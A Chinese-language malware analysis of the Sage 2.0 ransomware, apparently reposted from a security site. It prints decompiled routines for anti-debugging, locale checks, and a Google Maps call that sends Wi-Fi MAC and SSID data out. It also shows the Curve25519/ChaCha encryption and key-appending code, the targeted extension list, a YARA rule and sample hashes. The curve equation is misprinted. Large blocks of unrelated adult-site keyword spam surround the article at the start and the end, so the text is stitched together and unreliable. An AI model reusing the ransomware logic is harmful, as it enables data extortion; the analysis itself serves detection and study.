精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

針對勒索軟件Sage 2.0的分析

安全
Sage勒索軟件是勒索軟件家族的一個新成員,也是勒索軟件CryLocker的一個變種。從目前情況分析,隱藏在Sage背后的始作俑者與勒索軟件Cerber、Locky和Spora的散布者應該師出同門。

Sage 2.0

前言

Sage勒索軟件是勒索軟件家族的一個新成員,也是勒索軟件CryLocker的一個變種。從目前情況分析,隱藏在Sage背后的始作俑者與勒索軟件Cerber、Locky和Spora的散布者應該師出同門。

在本文的分析案例中,Sage借助垃圾郵件進行傳播擴散,惡意垃圾郵件中僅僅包含一個zip壓縮文件,沒有其他文字內容。該zip文件包含了一份Word宏文檔,其主要功能是下載及安裝Sage勒索軟件。

運行該勒索軟件后,Windows的UAC窗口會不斷重復顯示,直到用戶點擊“Yes”按鈕,允許勒索軟件運行為止。

隨后勒索軟件開始對文件進行加密,被加密過的文件名以“.sage”結尾。

Windows的UAC窗口會不斷重復顯示

勒索軟件的贖金頁面會告訴受害者去Tor網絡頁面支付贖金,但首先受害者需要輸入正確的驗證碼才能訪問該頁面。

驗證碼校驗通過后,受害者可以看到Sage 2.0的主頁面,如下圖所示。

Sage 2.0的主頁面

受害者甚至可以在這個網站與軟件作者進行交流。

Sage不會在加密工作結束后自我刪除,而是將自身復制到“%APPDATA%\Roaming”目錄,每次系統重啟后,Sage會重新加密所有文件,直到受害者支付贖金。

技術分析

接下來我們將著重從技術角度對Sage 2.0進行分析。

軟件的主函數流程與以下代碼類似:

  1. int main(int argc, const char **argv, const char **envp) 
  2.   ModCheck(); 
  3.   DebugCheck(); 
  4.   AntiDebug(v3); 
  5.   if ( AntiDebugCheckMutex() ) 
  6.     return 0; 
  7.   GetOrGenerateMainCryptoKey(); 
  8.   if ( IsProtectedLocale() ) 
  9.   { 
  10.     FingerprintLocation(2); 
  11.     Sleep(0x493E0u); 
  12.     FingerprintLocation(2); 
  13.     Sleep(0x927C0u); 
  14.     FingerprintLocation(2); 
  15.     SelfDelete(); 
  16.     result = 0
  17.   } 
  18.   else 
  19.   { 
  20.     if ( !CheckFingerprintLocation() ) 
  21.       return 0; 
  22.     result = CreateThreadsAndEncrypt(&mainEncKeyt); 
  23.   } 
  24.   return result; 

代碼中包含很多的指紋信息探測及檢查過程,這些過程都是常見流程,比較有趣的功能包括以下幾點:

1)調試開關功能

首次運行時軟件可能會出現某些問題,因此軟件內置了一個調試命令行參數功能來測試軟件設置參數是否正確:

  1. LPWSTR *DebugCheck() 
  2.   cmdLine = GetCommandLineW(); 
  3.   result = CommandLineToArgvW(cmdLine, &numArgs); 
  4.   if ( numArgs == 2 ) 
  5.   { 
  6.     result = (LPWSTR *)result[1]; 
  7.     if ( *result == 'd' && !*(result + 1) ) 
  8.     { 
  9.       if ( AttachConsole(0xFFFFFFFF) ) 
  10.       { 
  11.         stdout = GetStdHandle(0xFFFFFFF5); 
  12.         debugmsg = sprintf_0("{\"b\":\"%#.*s\"}", 8, FingerprintDword + 4); 
  13.         WriteFile(stdout, debugmsg, lstrlenA(debugmsg), &NumberOfBytesWritten, 0); 
  14.       } 
  15.       ExitProcess(0); 
  16.     } 
  17.   } 

調試功能的運行結果如下圖所示。

這個調試功能之所以存在,可能是因為作者疏忽大意,忘了從最終版本中刪除相應代碼。

2)區域檢查功能

Sage 2.0的作者給了某幾個國家特殊關照,如以下的區域檢查代碼片段:

  1. signed int IsProtectedLocale() 
  2.   localeCount = GetKeyboardLayoutList(10, (HKL *)&List); 
  3.   if ( localeCount <= 0 ) 
  4.     return 0; 
  5.   i = 0
  6.   if ( localeCount <= 0 ) 
  7.     return 0; 
  8.   while ( 1 ) 
  9.   { 
  10.     next = (unsigned int)(&List)[i] & 0x3FF; 
  11.     if ( next == 0x23 || next == 0x3F || next == 0x19 || next == 0x22 || next == 0x43 || (_WORD)next == 0x85 ) 
  12.       break; 
  13.     if ( ++i >= localeCount ) 
  14.       return 0; 
  15.   } 
  16.   return 1; 

碼對用戶鍵盤布局進行了檢測,next變量的數值與語種的對應關系為:

http://p2.qhimg.com/t019c208c34b78966fd.png

有點令人失望的是波蘭語系并不在軟件的例外列表中,如果Sage作者能看到這篇文章的話,請將0x15值添加到程序代碼中(注:作者的調侃)。

3)地理位置指紋識別功能

Sage試圖通過maps.googleapis.com得到宿主機的地理位置信息以及SSID、MAC信息,如以下代碼:

  1. strcpy_((int)arg0, "/maps/api/browserlocation/json?browser=firefox&sensor=true"); 
  2. i = 0
  3. if ( v12[1] ) 
  4.     offset = 0
  5.     do 
  6.     { 
  7.         ss_ = (int)&v12[offset + 2]; 
  8.         if ( *(_DWORD *)ss_ <= 0x20u ) 
  9.         { 
  10.             ToHexStrring(&mac, (unsigned __int8 *)&v12[offset + 12]); 
  11.             str_append(ssid, (_BYTE *)(ss_ + 4), *(_DWORD *)ss_); 
  12.             ssid[*(_DWORD *)ss_] = 0; 
  13.             sprintf_1((int)arg0, "&wifi=mac:%s|ssid:%s|ss:%d", &mac, ssid, (*(_DWORD *)(ss_ + 60) >> 1) - 100); 
  14.         } 
  15.         ++i; 
  16.         offset += 90; 
  17.     } 
  18.     while ( i < v12[1] ); 
  19.    
  20. // ... 
  21.    
  22. DoHttpGetRequest((DWORD)&dwNumberOfBytesAvailable, "maps.googleapis.com", 0x1BBu, v8) 

特征文件判定,文件加密流程開始前,Sage首先檢查某個特征文件是否存在:

  1. if ( CreateFileW(L"C:\\Temp\\lol.txt", 0x80000000, 1u, 0, 3u, 0, 0) == (HANDLE)-1 ) 
  2.     // encryption code 

Sage作者通過判斷特征文件是否存在,決定加密流程是否啟動,以避免對作者本機的文件造成影響。

若該特征文件不存在,Sage將啟動加密流程。

文件后綴清單

Sage不會對所有文件進行加密,它只對文件后綴清單中的文件進行加密,受影響的文件后綴如下所示:

  1. .dat .mx0 .cd .pdb .xqx .old .cnt .rtp .qss .qst .fx0 .fx1 .ipg .ert .pic .img 
  2. .cur .fxr .slk .m4u .mpe .mov .wmv .mpg .vob .mpeg .3g2 .m4v .avi .mp4 .flv 
  3. .mkv .3gp .asf .m3u .m3u8 .wav .mp3 .m4a .m .rm .flac .mp2 .mpa .aac .wma .djv 
  4. .pdf .djvu .jpeg .jpg .bmp .png .jp2 .lz .rz .zipx .gz .bz2 .s7z .tar .7z .tgz 
  5. .rar .zip .arc .paq .bak .set .back .std .vmx .vmdk .vdi .qcow .ini .accd .db 
  6. .sqli .sdf .mdf .myd .frm .odb .myi .dbf .indb .mdb .ibd .sql .cgn .dcr .fpx 
  7. .pcx .rif .tga .wpg .wi .wmf .tif .xcf .tiff .xpm .nef .orf .ra .bay .pcd .dng 
  8. .ptx .r3d .raf .rw2 .rwl .kdc .yuv .sr2 .srf .dip .x3f .mef .raw .log .odg .uop 
  9. .potx .potm .pptx .rss .pptm .aaf .xla .sxd .pot .eps .as3 .pns .wpd .wps .msg 
  10. .pps .xlam .xll .ost .sti .sxi .otp .odp .wks .vcf .xltx .xltm .xlsx .xlsm 
  11. .xlsb .cntk .xlw .xlt .xlm .xlc .dif .sxc .vsd .ots .prn .ods .hwp .dotm .dotx 
  12. .docm .docx .dot .cal .shw .sldm .txt .csv .mac .met .wk3 .wk4 .uot .rtf .sldx 
  13. .xls .ppt .stw .sxw .dtd .eml .ott .odt .doc .odm .ppsm .xlr .odc .xlk .ppsx 
  14. .obi .ppam .text .docb .wb2 .mda .wk1 .sxm .otg .oab .cmd .bat .h .asx .lua .pl 
  15. .as .hpp .clas .js .fla .py .rb .jsp .cs .c .jar .java .asp .vb .vbs .asm .pas 
  16. .cpp .xml .php .plb .asc .lay6 .pp4 .pp5 .ppf .pat .sct .ms11 .lay .iff .ldf 
  17. .tbk .swf .brd .css .dxf .dds .efx .sch .dch .ses .mml .fon .gif .psd .html 
  18. .ico .ipe .dwg .jng .cdr .aep .aepx .123 .prel .prpr .aet .fim .pfb .ppj .indd 
  19. .mhtm .cmx .cpt .csl .indl .dsf .ds4 .drw .indt .pdd .per .lcd .pct .prf .pst 
  20. .inx .plt .idml .pmd .psp .ttf .3dm .ai .3ds .ps .cpx .str .cgm .clk .cdx .xhtm 
  21. .cdt .fmv .aes .gem .max .svg .mid .iif .nd .2017 .tt20 .qsm .2015 .2014 .2013 
  22. .aif .qbw .qbb .qbm .ptb .qbi .qbr .2012 .des .v30 .qbo .stc .lgb .qwc .qbp 
  23. .qba .tlg .qbx .qby .1pa .ach .qpd .gdb .tax .qif .t14 .qdf .ofx .qfx .t13 .ebc 
  24. .ebq .2016 .tax2 .mye .myox .ets .tt14 .epb .500 .txf .t15 .t11 .gpc .qtx .itf 
  25. .tt13 .t10 .qsd .iban .ofc .bc9 .mny .13t .qxf .amj .m14 ._vc .tbp .qbk .aci 
  26. .npc .qbmb .sba .cfp .nv2 .tfx .n43 .let .tt12 .210 .dac .slp .qb20 .saj .zdb 
  27. .tt15 .ssg .t09 .epa .qch .pd6 .rdy .sic .ta1 .lmr .pr5 .op .sdy .brw .vnd .esv 
  28. .kd3 .vmb .qph .t08 .qel .m12 .pvc .q43 .etq .u12 .hsr .ati .t00 .mmw .bd2 .ac2 
  29. .qpb .tt11 .zix .ec8 .nv .lid .qmtf .hif .lld .quic .mbsb .nl2 .qml .wac .cf8 
  30. .vbpf .m10 .qix .t04 .qpg .quo .ptdb .gto .pr0 .vdf .q01 .fcr .gnc .ldc .t05 
  31. .t06 .tom .tt10 .qb1 .t01 .rpf .t02 .tax1 .1pe .skg .pls .t03 .xaa .dgc .mnp 
  32. .qdt .mn8 .ptk .t07 .chg .#vc .qfi .acc .m11 .kb7 .q09 .esk .09i .cpw .sbf .mql 
  33. .dxi .kmo .md .u11 .oet .ta8 .efs .h12 .mne .ebd .fef .qpi .mn5 .exp .m16 .09t 
  34. .00c .qmt .cfdi .u10 .s12 .qme .int? .cf9 .ta5 .u08 .mmb .qnx .q07 .tb2 .say 
  35. .ab4 .pma .defx .tkr .q06 .tpl .ta2 .qob .m15 .fca .eqb .q00 .mn4 .lhr .t99 
  36. .mn9 .qem .scd .mwi .mrq .q98 .i2b .mn6 .q08 .kmy .bk2 .stm .mn1 .bc8 .pfd .bgt 
  37. .hts .tax0 .cb .resx .mn7 .08i .mn3 .ch .meta .07i .rcs .dtl .ta9 .mem .seam 
  38. .btif .11t .efsl .$ac .emp .imp .fxw .sbc .bpw .mlb .10t .fa1 .saf .trm .fa2 
  39. .pr2 .xeq .sbd .fcpa .ta6 .tdr .acm .lin .dsb .vyp .emd .pr1 .mn2 .bpf .mws 
  40. .h11 .pr3 .gsb .mlc .nni .cus .ldr .ta4 .inv .omf .reb .qdfx .pg .coa .rec .rda 
  41. .ffd .ml2 .ddd .ess .qbmd .afm .d07 .vyr .acr .dtau .ml9 .bd3 .pcif .cat .h10 
  42. .ent .fyc .p08 .jsd .zka .hbk .mone .pr4 .qw5 .cdf .gfi .cht .por .qbz .ens 
  43. .3pe .pxa .intu .trn .3me .07g .jsda .2011 .fcpr .qwmo .t12 .pfx .p7b .der .nap 
  44. .p12 .p7c .crt .csr .pem .gpg .key 

加密過程

勒索軟件最有趣的部分莫過于文件的加密過程。在勒索軟件中,Sage 2.0是非常特別的一個存在,因為它采用了橢圓曲線加密算法對文件進行加密。

加密所使用的橢圓曲線函數是“y^2 = x^3 + 486662x^x + x”,使用的素數范圍是“2^255 – 19”,基數變量x=9。Sage所采用的橢圓曲線是著名的Curve25519曲線,是現代密碼學中最先進的技術。Curve25519不僅是最快的ECC(Elliptic Curve Cryptography,橢圓曲線加密算法)曲線之一,也不易受到弱RNG(Random Number Generator,隨機數生成器)的影響,設計時考慮了側信道攻擊,避免了許多潛在的實現缺陷,并且很有可能不存在第三方內置后門。

Sage將Curve25519算法與硬編碼的公鑰一起使用生成共享密鑰。主密鑰生成算法如下所示(結構體和函數名由我們重新命名):

  1. int __cdecl GenerateMainKey(curve_key *result, const void *publicKey) 
  2.   char mysecret[32]; // [esp+4h] [ebp-40h]@1 
  3.   char shared[32]; // [esp+24h] [ebp-20h]@1 
  4.    
  5.   result->flag = 1
  6.   GenerateCurve25519SecretKey(mysecret); 
  7.   ComputeCurve25519MatchingPublicKey(result->gpk, mysecret); 
  8.   ComputeCurve25519SharedSecret(shared, mysecret, publicKey); 
  9.   ConvertBytesToCurve22519SecretKey(shared); 
  10.   ComputeCurve25519MatchingPublicKey(result->pk, shared); 
  11.   return 0; 

這段代碼看起來像是基于ECC的DH密鑰交換協議(ECDH,Elliptic Curve Diffie-Hellman)的實現代碼,但其中沒有任何保存算法私鑰的流程(私鑰只用于數據解密用途,可由軟件作者可以使用自己的私鑰隨時創建)。

代碼中復雜的函數只是ECC函數(我們稱之為CurveEncrypt函數)的封裝而已。例如,計算匹配公鑰的函數是curve25519(secretKey, basePoint),其中basePoint等于9(即9后面跟31個零)。

  1. int __cdecl ComputeCurve25519MatchingPublicKey(char *outPtr, char *randbytes) 
  2.   char key[32]; // [esp+8h] [ebp-20h]@1 
  3.    
  4.   qmemcpy(key, &Curve25519BasePoint, sizeof(key)); 
  5.   key[31] = Curve25519BasePointEnd & 0x7F; 
  6.   return CurveEncrypt(outPtr, randbytes, key); 

共享密鑰的計算與之類似,不同的是所使用的是公鑰而不是常數基數,如下:

  1. int __cdecl ComputeCurve25519SharedSecret(char *shared, char *mySecret, const void *otherPublicKey) 
  2.   char a3a[32]; // [esp+8h] [ebp-20h]@1 
  3.    
  4.   qmemcpy(a3a, otherPublicKey, sizeof(a3a)); 
  5.   a3a[31] &= 0x7Fu; 
  6.   return CurveEncrypt(shared, mySecret, a3a); 

得益于Curve25519的精妙設計,任意序列隨機字節與密鑰之間的相互轉換是非常容易的,只需要對幾個比特進行修改就已足夠:

  1. curve_key *__cdecl ConvertBytesToCurve22519SecretKey(curve_key *a1) 
  2.   curve_key *result; // eax@1 
  3.   char v2; // cl@1 
  4.    
  5.   result = a1
  6.   v2 = a1->gpk[31]; 
  7.   result->gpk[0] &= 248u; 
  8.   a1->gpk[31] = v2 & 0x3F | 0x40; 
  9.   return result; 

同理,私鑰的生成也非常容易,只需要生成一個32字節的隨機數,將其轉換為私鑰即可:

  1. int __cdecl GenerateCurve25519SecretKey(_BYTE *buffer) 
  2.   char v1; // al@1 
  3.    
  4.   getSecureRandom(32, (int)buffer); 
  5.   v1 = buffer[31]; 
  6.   *buffer &= 248u; 
  7.   buffer[31] = v1 & 0x3F | 0x40; 
  8.   return 0; 

以上就是密鑰生成的全部流程。至于文件加密流程,Sage首先是使用Curve25519對文件進行首次加密,再利用ChaCha算法進行后續加密(同樣也是非常規加密方法),加密密鑰附在輸出文件的尾部:

  1. GenerateCurve25519SecretKey(&secretKey); 
  2. ComputeCurve25519MatchingPublicKey(pubKey, &secretKey); 
  3. ComputeCurve25519SharedSecret(sharedSecret, &secretKey, ellipticCurveKey->pk); 
  4.    
  5. // 
  6.    
  7. ChaChaInit(&chaCha20key, (unsigned __int8 *)sharedSecret, (unsigned __int8 *)minikey); 
  8.    
  9. while (bytesLeftToRead) { 
  10.     // Read from file to lpBuff 
  11.    
  12.     ChaChaEncrypt(&chaCha20key, lpBuff, lpBuff, numBytesRead); 
  13.    
  14.     // Write from file to lpBuff 
  15.    
  16. AppendFileKeyInfo(hFile_1, ellipticCurveKey, &FileSize, pubKey, a5); 

AppendFileKeyInfo函數的功能是將共享密鑰和pubKey附加到文件尾部:

  1. int __cdecl AppendFileKeyInfo(HANDLE hFile, curve_key *sharedKey, DWORD *dataSize, char *pubKey, int a5) 
  2.   DWORD dataSizeV; // edx@1 
  3.   int result; // eax@3 
  4.   _DWORD buffer[24]; // [esp+8h] [ebp-60h]@1 
  5.    
  6.   buffer[0] = 0x5A9EDEAD; 
  7.   qmemcpy(&buffer[1], sharedKey, 0x20u); 
  8.   qmemcpy(&buffer[9], pubKey, 0x20u); 
  9.   dataSizeV = *dataSize; 
  10.   buffer[19] = dataSize[1]; 
  11.   buffer[18] = dataSizeV; 
  12.   buffer[21] = a5; 
  13.   buffer[20] = 0; 
  14.   buffer[22] = 0x5A9EBABE; 
  15.   if ( WriteFile(hFile, buffer, 0x60u, (LPDWORD)&sharedKey, 0) && sharedKey == (curve_key *)96 ) 
  16.     result = 0
  17.   else 
  18.     result = -5; 
  19.   return result; 

ChaCha并不是勒索軟件常用的算法,它與Salsa20算法緊密相關(勒索軟件Petya用的就是Salsa20算法)。我們并不知道為何Sage不適用AES,有可能它只是想特立獨行而已。

換而言之,對于每一個加密文件,都對應有兩組密鑰+一個密鑰對,對應關系如下所示:

  1. my_secret <- random 
  2. my_public <- f(my_secret)  # gpk 
  3.    
  4. sh_secret <- f(my_secret, c2_public) 
  5. sh_public <- f(sh_secret) # pk 
  6.    
  7. fl_secret <- random 
  8. fl_public <- f(fl_secret) 
  9. fl_shared <- f(fl_secret, sh_public) 
  10.    
  11. chachakey <- f(fl_shared) 

Sage完成加密工作后,我們只獲得了其中my_public、sh_public以及fl_shared的值,我們還需要獲得chachakey的值才能正確解密文件。

Sage采用了相當牢固的加密方法,可以在離線狀態下加密文件,不需要連接C&C服務器進行密鑰協商,原因在于加密所需要的公鑰已經硬編碼在勒索軟件中,并且經過了非對稱加密處理。如果Sage作者沒有犯太大的編程錯誤的話,那么文件的解密恢復就渺渺無期。當然,主加密密鑰最終總是有可能會被泄露或者公布出來的。

附加信息

匹配Sage所使用的Yara規則:

  1. rule sage 
  2.     meta: 
  3.         author="msm" 
  4.    
  5.     strings: 
  6.         /* ransom message */ 
  7.         $ransom1 = "ATTENTION! ALL YOUR FILES WERE ENCRYPTED!" 
  8.         $ransom2 = "SAGE 2.0 uses military grade elliptic curve cryptography and you" 
  9.    
  10.         /* other strings */ 
  11.         $str0 = "!Recovery_%s.html" 
  12.         $str1 = "/CREATE /TN \"%s\" /TR \"%s\" /SC ONLOGON /RL HIGHEST /F" 
  13.    
  14.         /* code */ 
  15.         $get_subdomain = {8B 0D ?? ?? 40 00 6A ?? [2] A1 ?? ?? 40 00 5? 5? 50 51 53 E8} 
  16.         $debug_file_name = {6A 00 6A 01 68 00 00 00 80 68 [4] FF 15 [4] 83 F8 FF} 
  17.         $get_request_subdomain = {74 ?? A1 [4] 5? 5? 68 ?? ?? 40 00 E8} 
  18.         $get_ec_pubkey = {68 [2] 40 00 68 [2] 40 00 E8 [4] 68 B9 0B 00 00 6A 08 E8} 
  19.         $get_extensions = { 8B 35 [2] 40 00 [0-3] 80 3E 00 74 24 } 
  20.    
  21.     condition: 
  22.         all of ($ransom*) and any of ($str*) 
  23.         and any of ($get_subdomain, $debug_file_name, $get_request_subdomain, $get_ec_pubkey, $get_extensions) 

樣本哈希值(SHA256):

  1. sample 1, 362baeb80b854c201c4e7a1cfd3332fd58201e845f6aebe7def05ff0e00bf339 
  2. sample 2, 3b4e0460d4a5d876e7e64bb706f7fdbbc6934e2dea7fa06e34ce01de8b78934c 
  3. sample 3, ccd6a495dfb2c5e26cd65e34c9569615428801e01fd89ead8d5ce1e70c680850 
  4. sample 4, 8a0a191d055b4b4dd15c66bfb9df223b384abb75d4bb438594231788fb556bc2 
  5. sample 5, 0ecf3617c1d3313fdb41729c95215c4d2575b4b11666c1e9341f149d02405c05 

其他資料:

https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga

責任編輯:趙寧寧 來源: 安全客
相關推薦

2023-02-28 11:07:22

2021-04-30 08:49:54

云服務勒索軟件攻擊

2021-09-30 09:15:19

Sophosf攻擊者ColdFusion

2015-04-30 19:12:36

2017-05-17 06:16:23

2021-05-19 05:42:14

勒索軟件網絡攻擊網絡安全

2022-07-11 12:43:54

勒索軟件網絡攻擊

2021-03-02 10:17:09

勒索軟件Nefilimr網絡安全

2021-07-19 18:03:51

勒索軟件漏洞網絡攻擊

2021-09-07 11:51:25

勒索軟件惡意軟件安全

2020-11-12 06:01:52

Linux勒索軟件木馬

2023-03-11 22:24:11

2021-08-19 16:03:20

勒索軟件攻擊數據泄露

2022-01-10 17:32:40

勒索軟件攻擊數據泄露

2021-02-26 00:54:23

勒索軟件攻擊網絡安全

2021-11-25 14:07:29

信息安全勒索軟件數據

2022-04-11 09:27:58

勒索軟件網絡安全網絡攻擊

2024-12-19 13:23:38

2022-08-09 08:22:00

勒索軟件WindowsLinux

2021-11-12 11:45:27

勒索軟件攻擊金融活動
點贊
收藏

51CTO技術棧公眾號

高清国产在线一区| 日韩在线资源网| 欧美成人xxxxx| 国产午夜视频在线观看| 蜜臀av性久久久久蜜臀aⅴ四虎| 亚洲亚裔videos黑人hd| 中文字幕永久有效| 变态调教一区二区三区| 国产午夜精品一区二区三区视频 | 亚洲理论片在线观看| 欧美性www| 亚洲aaa精品| 午夜精品福利一区二区| www.国产免费| 日韩精品成人一区二区在线| 久久在线视频在线| 欧美图片一区二区| 欧美日韩午夜电影网| 欧美日韩在线影院| 好吊色视频988gao在线观看| 免费人成在线观看网站| 国产乱妇无码大片在线观看| 久久久久久久久久久av| 国产一区二区三区视频播放| 精品国产91九色蝌蚪| 久久99精品久久久久子伦 | 日韩欧美亚洲国产一区| 日韩成人午夜影院| 高清在线观看av| a亚洲天堂av| 成人欧美在线观看| 99精品国产视频| 国产精品激情偷乱一区二区∴| 亚洲欧美乱综合| 成人综合色站| 一二区在线观看| 欧美专区在线| 韩日精品中文字幕| 日韩一区二区三区四区在线| 久草在线成人| 欧美tk—视频vk| 在线免费视频一区| 日本在线播放一二三区| 亚洲一区二区三区四区的 | 免费观看精品视频| 18+激情视频在线| 国产精品国产自产拍高清av| 日韩久久久久久久| 日本精品一区二区在线观看| 老汉av免费一区二区三区| 欧美黑人国产人伦爽爽爽| 艳妇乳肉亭妇荡乳av| 97se亚洲| 欧美精品一区二区久久婷婷| 日本中文字幕有码| 亚洲专区**| 日韩欧美一区在线| 中文字幕一二三| 精品一区二区三区四区五区| 欧美日韩亚洲高清一区二区| 国产v亚洲v天堂无码久久久| 写真福利精品福利在线观看| 色嗨嗨av一区二区三区| 国产99久久九九精品无码| 爱啪视频在线观看视频免费| 亚洲成人av电影| 男女激情无遮挡| 手机在线观看av网站| 午夜不卡在线视频| 日韩欧美不卡在线| 欧美久久天堂| 91豆麻精品91久久久久久| 午夜激情福利在线| 99久久伊人| 在线不卡欧美精品一区二区三区| 久久久久久久久久久久91| 日本黄色成人| 日韩视频免费直播| xfplay5566色资源网站| 欧美日韩看看2015永久免费| 日韩国产精品一区| 久久亚洲AV成人无码国产野外 | 亚洲激情啪啪| 免费黄色在线| 亚洲一区在线观看视频| 黄色成人在线看| 中文字幕在线官网| 欧美视频三区在线播放| 日本黄色福利视频| 欧美电影院免费观看| 亚洲精品一区二区三区香蕉| 中文字幕一区二区久久人妻网站| 无码日韩精品一区二区免费| 亚洲小视频在线观看| 亚洲熟女毛茸茸| 91精品国产视频| 98视频在线噜噜噜国产| 国产精品露脸视频| 国偷自产av一区二区三区麻豆| 电影在线观看一区| 欧美专区在线观看一区| 中文字幕在线视频一区二区| 欧美激情久久久久久久久久久| 亚洲人成绝费网站色www| 911国产在线| 日韩午夜av在线| 国产精品女主播视频| 亚洲av无码一区二区三区dv| 久久久一区二区三区捆绑**| 中文有码久久| 在线观看福利电影| 91精品国产色综合久久不卡蜜臀 | 久久在线中文字幕| 成人日韩在线| 欧美变态凌虐bdsm| 少妇愉情理伦三级| 亚洲看片一区| 亚洲xxxx18| 欧美精品久久久久久久久久丰满| 亚洲精品日日夜夜| 日韩av手机版| 任我爽精品视频在线播放| 精品国产拍在线观看| 美女又爽又黄免费视频| 国产成人一级电影| 一区一区视频| 亚洲电影有码| 日韩经典中文字幕在线观看| 欧美三级免费看| 蜜桃91丨九色丨蝌蚪91桃色| 久久久久国产精品视频| 久久香蕉av| 欧美精品乱人伦久久久久久| 免费观看av网站| 亚洲激情不卡| 91手机在线播放| 老司机午夜在线视频| 日本久久一区二区三区| 在线精品一区二区三区| 国产成人免费看一级大黄| 国产一区二区免费视频| 手机成人在线| 欧美日韩不卡| 国产视频精品免费播放| 国产无遮挡又黄又爽| 国产精品资源在线看| 亚洲欧美精品在线观看| 日韩高清成人| 国产亚洲精品久久久| 欧产日产国产69| 91香蕉视频污| 116极品美女午夜一级| 国产日韩三级| 国内精品久久久久久中文字幕| 精品国产av一区二区| 日韩美女精品在线| 欧美成人乱码一二三四区免费| 北条麻妃国产九九九精品小说| 国产成人在线一区| 高清国产福利在线观看| 91九色02白丝porn| 超碰97av在线| 免费看欧美美女黄的网站| 色婷婷精品国产一区二区三区| 日韩免费小视频| 色综久久综合桃花网| 在线黄色av网站| 中文字幕一区二区三区在线观看| 日韩av.com| 91tv官网精品成人亚洲| 99视频国产精品免费观看| 日本无删减在线| 亚洲第一色中文字幕| 国产特黄大片aaaa毛片| 26uuu国产电影一区二区| 激情网站五月天| 成人aaaa| 亚洲自拍偷拍网址| 超碰在线视屏| 亚洲小视频在线| 国产精品一级视频| 亚洲国产精品一区二区尤物区| 无码成人精品区在线观看| 亚洲专区一区| 亚洲高清不卡一区| 亚洲五码在线| 欧美综合在线第二页| av在线天堂播放| 日韩欧美一级二级三级| 免费观看成人毛片| 国产精品久久久久久久久免费樱桃| 日韩不卡的av| 香蕉久久a毛片| 一区二区三区四区| 精品av导航| 国产精品久久久久久久久免费看| 国产二区三区在线| 日韩av在线免费观看一区| 美女黄页在线观看| 亚洲一区在线观看网站| 日韩中文字幕有码| 国产精品一二三在| 亚洲熟妇av一区二区三区| 久久久久亚洲| 蜜桃av噜噜一区二区三| 国产精品欧美一区二区三区不卡| 午夜精品国产精品大乳美女| 91激情在线| 亚洲精品第一国产综合精品| 亚洲一级特黄毛片| 午夜精彩视频在线观看不卡| 精品一区二区三孕妇视频| 岛国一区二区三区| 国产精品拍拍拍| 激情婷婷亚洲| 一区二区三区我不卡| 台湾色综合娱乐中文网| 91久久精品国产91性色| 88xx成人永久免费观看| 欧美极品少妇xxxxⅹ裸体艺术 | 国产91沈先生在线播放| jiujiure精品视频播放| 国产伦一区二区三区色一情| 91麻豆精品国产综合久久久| 日韩av色在线| av中文资源在线资源免费观看| 按摩亚洲人久久| 福利片在线观看| 亚洲第五色综合网| www.com在线观看| 欧美乱妇23p| 天天干天天插天天射| 精品久久久一区| 久久久一二三区| 亚洲乱码日产精品bd| 日本成人精品视频| 日本一区二区三级电影在线观看| 亚洲乱码国产乱码精品精大量| 成人一级视频在线观看| 中文字幕欧美视频| 经典三级在线一区| 国产日韩欧美久久| 日韩av一区二区三区四区| 日韩av一二三四区| 一区二区三区导航| 青青青青草视频| 影音先锋久久久| 97碰在线视频| 精久久久久久| 日产精品久久久久久久蜜臀| 欧美高清不卡| 成人黄色片免费| 欧美另类专区| 日韩黄色片在线| 国内揄拍国内精品久久| 精品成在人线av无码免费看| 狠狠久久婷婷| 免费看国产一级片| 国产婷婷精品| 日本黄网站免费| 日韩电影免费在线看| 国产精品视频分类| 免费成人在线观看视频| 污网站免费在线| 国产一区不卡在线| 大尺度在线观看| 99精品欧美一区二区三区综合在线| 免费黄色三级网站| 久久综合色婷婷| 久操视频在线观看免费| 国产精品乱码一区二区三区软件| 青青青视频在线播放| 亚洲人成小说网站色在线 | 日本天堂影院在线视频| 亚洲欧美另类人妖| 成人亚洲性情网站www在线观看| 中文字幕亚洲欧美| 国产一区久久精品| 欧美极品美女电影一区| 黑人巨大精品欧美一区二区桃花岛| 久久久视频在线| 一个人看的www视频在线免费观看| 国产精品福利在线观看网址| 国产精品原创视频| 91精品国自产在线观看 | 青青草91视频| 肉色超薄丝袜脚交| 丁香五精品蜜臀久久久久99网站| 久久无码人妻精品一区二区三区 | 日韩精品伦理第一区| 日韩久久电影| 国产黄色激情视频| 久久激情中文| 国产在线观看中文字幕| www.一区二区| 国产馆在线观看| 亚洲午夜私人影院| 凹凸精品一区二区三区| 欧美一区二区三区啪啪| 天堂中文在线资| 色777狠狠综合秋免鲁丝| 成年人国产在线观看| 国产精品电影久久久久电影网| 欧美大片91| 日韩一区二区电影在线观看| 亚洲私拍自拍| 国产成人在线综合| 99re8在线精品视频免费播放| 黄色免费一级视频| 欧美性高潮床叫视频| 99热这里只有精品5| 亚洲视频在线免费观看| 牛牛电影国产一区二区| 国产精品第3页| 清纯唯美亚洲经典中文字幕| 亚洲一区三区电影在线观看| 国产亚洲成人一区| 男男受被啪到高潮自述| 国产女主播在线一区二区| 国产无遮挡又黄又爽又色| 在线不卡a资源高清| 可以免费看污视频的网站在线| 欧美情侣性视频| 亚洲一区二区小说| 欧美重口乱码一区二区| 国产精品扒开腿做爽爽爽软件| 蜜臀av免费观看| 久久精品欧美日韩| 91久久国产视频| 日韩久久久久久| www在线免费观看视频| 国产精品久久激情| 婷婷综合电影| 你懂的av在线| jlzzjlzz亚洲日本少妇| 精品99久久久久成人网站免费| 欧美日韩精品二区第二页| 日韩美女一级视频| 久久久久久久久久久免费 | 欧美videosex性欧美黑吊| 国产激情视频一区| 日本国产欧美| 日韩免费毛片| 久久久久99| 亚洲a v网站| 91官网在线免费观看| 久草福利在线| 日本在线观看天堂男亚洲 | 国产盗摄精品一区二区三区在线| 男人天堂资源网| 欧美日韩成人一区| 毛片网站在线免费观看| 亚洲free嫩bbb| 欧美精品三区| 在线观看一区二区三区四区| 亚洲韩国精品一区| 日本精品999| 51久久精品夜色国产麻豆| 亚洲精品亚洲人成在线| 成人黄色片视频| 国产日本亚洲高清| 夜夜狠狠擅视频| 欧美成人剧情片在线观看| 伊人久久亚洲| 国产精品无码av在线播放| 91免费视频大全| 中文文字幕一区二区三三| 日韩中文字幕在线视频| 日韩成人18| 